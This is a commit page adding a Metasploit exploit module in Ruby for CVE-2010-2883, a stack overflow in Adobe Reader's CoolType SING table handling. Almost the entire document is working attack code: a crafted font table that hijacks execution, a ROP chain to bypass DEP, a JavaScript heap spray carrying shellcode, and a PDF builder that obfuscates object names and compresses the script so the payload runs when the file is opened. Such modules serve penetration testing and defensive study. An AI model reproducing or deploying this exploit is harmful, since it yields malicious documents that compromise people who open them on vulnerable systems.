add initial version of cve-2010-2883 exploit
git-svn-id: file:///home/svn/framework3/trunk@10263 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
parent
af5a77dee5
commit
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
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handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
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assumed to be vulnerable as well.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # 0day found in the wild
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'@sn0wfl0w', # initial analysis
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'@neox_fx', # initial analysis
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'@vicheck', # initial analysis
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'jduck' # Metasploit module
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-2883' ],
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[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
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[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
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[ 'Automatic', { }],
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],
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'DisclosureDate' => 'Sep 07 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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], self.class)
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end
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def exploit
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ttf_data = make_ttf()
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js_data = make_js(payload.encoded)
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# Create the pdf
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pdf = make_pdf(ttf_data, js_data)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def make_ttf
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ttf_data = ""
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# load the static ttf file
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# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
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path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
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fd = File.open( path, "rb" )
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ttf_data = fd.read(fd.stat.size)
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fd.close
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# Build the SING table
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sing = ''
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sing << [
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0, 1, # tableVersionMajor, tableVersionMinor (0.1)
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0xe01, # glyphletVersion
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0x100, # embeddingInfo
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0, # mainGID
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0, # unitsPerEm
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0, # vertAdvance
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0x3a00 # vertOrigin
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].pack('vvvvvvvv')
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# uniqueName
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# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
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sing << "A" * (0x254 - sing.length)
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# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
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sing[0x140, 4] = [0x08231060 - 0x1c].pack('V')
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# This becomes our new EIP (puts esp to stack buffer)
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ret = 0x81586a5 # add ebp, 0x794 / leave / ret
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sing[0x208, 4] = [ret].pack('V')
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# This becomes the new eip after the first return
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ret = 0x806c57e
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sing[0x18, 4] = [ret].pack('V')
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# This becomes the new esp after the first return
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esp = 0x0c0c0c0c
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sing[0x1c, 4] = [esp].pack('V')
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# Without the following, sub_801ba57 returns 0.
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sing[0x24c, 4] = [0x6c].pack('V')
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ttf_data[0xec, 4] = "SING"
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ttf_data[0x11c, sing.length] = sing
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#File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) }
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ttf_data
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end
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def make_js(encoded_payload)
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# The following executes a ret2lib using BIB.dll
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# The effect is to bypass DEP and execute the shellcode in an indirect way
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stack_data = [
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0xc0c0c0c,
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0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
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0xcccccccc,
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0x70048ef, # xchg eax,esp / ret
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0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
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0xcccccccc,
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009033, # ret 0x18
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0x7009084, # ret
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0xc0c0c0c,
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7009084, # ret
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0x7001599, # pop ebp / ret
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0x10124,
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0x70072f7, # pop eax / ret
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0x10104,
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0x70015bb, # pop ecx / ret
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0x1000,
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0x700154d, # mov [eax], ecx / ret
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0x70015bb, # pop ecx / ret
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0x7ffe0300, # -- location of KiFastSystemCall
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0x7007fb2, # mov eax, [ecx] / ret
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0x70015bb, # pop ecx / ret
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0x10011,
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0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
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0x70015bb, # pop ecx / ret
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0x10100,
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0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
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0x70072f7, # pop eax / ret
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0x10011,
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0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
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0x7005c54, # pop esi / add esp,0x14 / ret
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0xffffffff,
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0x10100,
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0x0,
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0x10104,
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0x1000,
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0x40,
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# The next bit effectively copies data from the interleaved stack to the memory
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# pointed to by eax
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# The data copied is:
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# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
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# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
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# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
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0x700d731, # mov eax, [ebp-0x24] / ret
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0x70015bb, # pop ecx / ret
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0x9054905a,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x5815eb5a,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x18891a8b,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x8304c083,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xfb8104c2,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xc0c0c0c,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x5ebee75,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xffffe6e8,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x909090ff,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x90909090,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x90909090,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x90ffffff,
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0x700154d, # mov [eax], ecx / ret
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0x700d731, # mov eax, [ebp-0x24] / ret
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0x700112f # call eax -- (execute stub to transition to full shellcode)
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].pack('V*')
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var_unescape = rand_text_alpha(rand(100) + 1)
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var_shellcode = rand_text_alpha(rand(100) + 1)
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var_start = rand_text_alpha(rand(100) + 1)
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var_s = 0x10000
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var_c = rand_text_alpha(rand(100) + 1)
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var_b = rand_text_alpha(rand(100) + 1)
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var_d = rand_text_alpha(rand(100) + 1)
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var_3 = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(100) + 1)
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var_4 = rand_text_alpha(rand(100) + 1)
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payload_buf = ''
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payload_buf << stack_data
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payload_buf << encoded_payload
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escaped_payload = Rex::Text.to_unescape(payload_buf)
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js = %Q|
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var #{var_unescape} = unescape;
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var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
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var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
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while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
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#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
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#{var_b} += #{var_shellcode};
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#{var_b} += #{var_c};
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#{var_d} = #{var_b}.substring(0, #{var_s}/2);
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while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
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#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
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var #{var_4} = new Array();
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for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
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js
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj \n" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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#return str
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf(ttf, js)
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#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
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xref = []
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eol = "\n"
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endobj = "endobj" << eol
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# Randomize PDF version?
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pdf = "%PDF-1.5" << eol
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pdf << "%" << RandomNonASCIIString(4) << eol
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# catalog
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xref << pdf.length
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pdf << ioDef(1) << nObfu("<<") << eol
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pdf << nObfu("/Pages ") << ioRef(2) << eol
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pdf << nObfu("/Type /Catalog") << eol
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pdf << nObfu("/OpenAction ") << ioRef(11) << eol
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pdf << nObfu(">>") << eol
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pdf << endobj
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# pages array
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xref << pdf.length
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pdf << ioDef(2) << nObfu("<<") << eol
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pdf << nObfu("/MediaBox ") << ioRef(3) << eol
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pdf << nObfu("/Resources ") << ioRef(4) << eol
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pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
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pdf << nObfu("/Count 1") << eol
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pdf << nObfu("/Type /Pages") << eol
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pdf << nObfu(">>") << eol
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pdf << endobj
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# media box
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xref << pdf.length
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pdf << ioDef(3)
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pdf << "[0 0 595 842]" << eol
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pdf << endobj
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# resources
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xref << pdf.length
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pdf << ioDef(4)
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pdf << nObfu("<<") << eol
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pdf << nObfu("/Font ") << ioRef(6) << eol
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pdf << ">>" << eol
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pdf << endobj
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# page 1
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xref << pdf.length
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pdf << ioDef(5) << nObfu("<<") << eol
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pdf << nObfu("/Parent ") << ioRef(2) << eol
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pdf << nObfu("/MediaBox ") << ioRef(3) << eol
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pdf << nObfu("/Resources ") << ioRef(4) << eol
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#pdf << nObfu("/MediaBox [0 0 640 480]")
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#pdf << "<<"
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#if true
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# pdf << nObfu("/ProcSet [ /PDF /Text ]") << eol
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# pdf << nObfu("/Font << /F1 ") << ioRef(8) << nObfu(">>") << eol
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#end
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#pdf << nObfu(">>") << eol # end resources
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pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
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#pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") << eol
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pdf << nObfu("/Type /Page") << eol
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pdf << nObfu(">>") << eol # end obj dict
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pdf << endobj
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# font
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xref << pdf.length
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pdf << ioDef(6) << nObfu("<<") << eol
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pdf << nObfu("/F1 ") << ioRef(7) << eol
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pdf << ">>" << eol
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pdf << endobj
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# ttf object
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xref << pdf.length
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pdf << ioDef(7) << nObfu("<<") << eol
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pdf << nObfu("/Type /Font") << eol
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pdf << nObfu("/Subtype /TrueType") << eol
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pdf << nObfu("/Name /F1") << eol
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pdf << nObfu("/BaseFont /Cinema") << eol
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#pdf << nObfu("/FirstChar 0")
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#pdf << nObfu("/LastChar 255")
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pdf << nObfu("/Widths []") << eol
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#256.times {
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# pdf << "%d " % rand(256)
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#}
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#pdf << "]" << eol
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pdf << nObfu("/FontDescriptor ") << ioRef(9)
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pdf << nObfu("/Encoding /MacRomanEncoding")
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#pdf << nObfu("/FontBBox [-177 -269 1123 866]")
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#pdf << nObfu("/FontFile2 ") << ioRef(9)
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pdf << nObfu(">>") << eol
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pdf << endobj
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# page content
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content = "Hello World!"
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content = "" +
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"0 g" + eol +
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"BT" + eol +
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"/F1 32 Tf" + eol +
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#" 10 10 Td" + eol +
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"32 Tc" + eol +
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"1 0 0 1 32 773.872 Tm" + eol +
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#"2 Tr" + eol +
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"(" + content + ") Tj" + eol +
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"ET"
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|
||||
xref << pdf.length
|
||||
pdf << ioDef(8) << "<<" << eol
|
||||
pdf << nObfu("/Length %s" % content.length) << eol
|
||||
pdf << ">>" << eol
|
||||
pdf << "stream" << eol
|
||||
pdf << content << eol
|
||||
pdf << "endstream" << eol
|
||||
pdf << endobj
|
||||
|
||||
# font descriptor
|
||||
xref << pdf.length
|
||||
pdf << ioDef(9) << nObfu("<<")
|
||||
pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
|
||||
pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
|
||||
pdf << nObfu("/FontBBox [-177 -269 1123 866]")
|
||||
pdf << nObfu("/FontFile2 ") << ioRef(10)
|
||||
pdf << nObfu(">>") << eol
|
||||
pdf << endobj
|
||||
|
||||
# ttf stream
|
||||
xref << pdf.length
|
||||
pdf << ioDef(10) << nObfu("<</Length %s /Length1 %s>>" % [ttf.length, ttf.length]) << eol
|
||||
pdf << "stream" << eol
|
||||
pdf << ttf << eol
|
||||
pdf << "endstream" << eol
|
||||
pdf << endobj
|
||||
|
||||
# js action
|
||||
xref << pdf.length
|
||||
pdf << ioDef(11) << nObfu("<<")
|
||||
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
|
||||
pdf << nObfu(">>") << eol
|
||||
pdf << endobj
|
||||
|
||||
# js stream
|
||||
xref << pdf.length
|
||||
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
|
||||
pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
|
||||
pdf << "stream" << eol
|
||||
pdf << compressed << eol
|
||||
pdf << "endstream" << eol
|
||||
pdf << endobj
|
||||
|
||||
# trailing stuff
|
||||
xrefPosition = pdf.length
|
||||
pdf << "xref" << eol
|
||||
pdf << "0 %d" % (xref.length + 1) << eol
|
||||
pdf << "0000000000 65535 f" << eol
|
||||
xref.each do |index|
|
||||
pdf << "%010d 00000 n" % index << eol
|
||||
end
|
||||
|
||||
pdf << "trailer" << eol
|
||||
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
|
||||
|
||||
pdf << "startxref" << eol
|
||||
pdf << xrefPosition.to_s() << eol
|
||||
|
||||
pdf << "%%EOF" << eol
|
||||
pdf
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue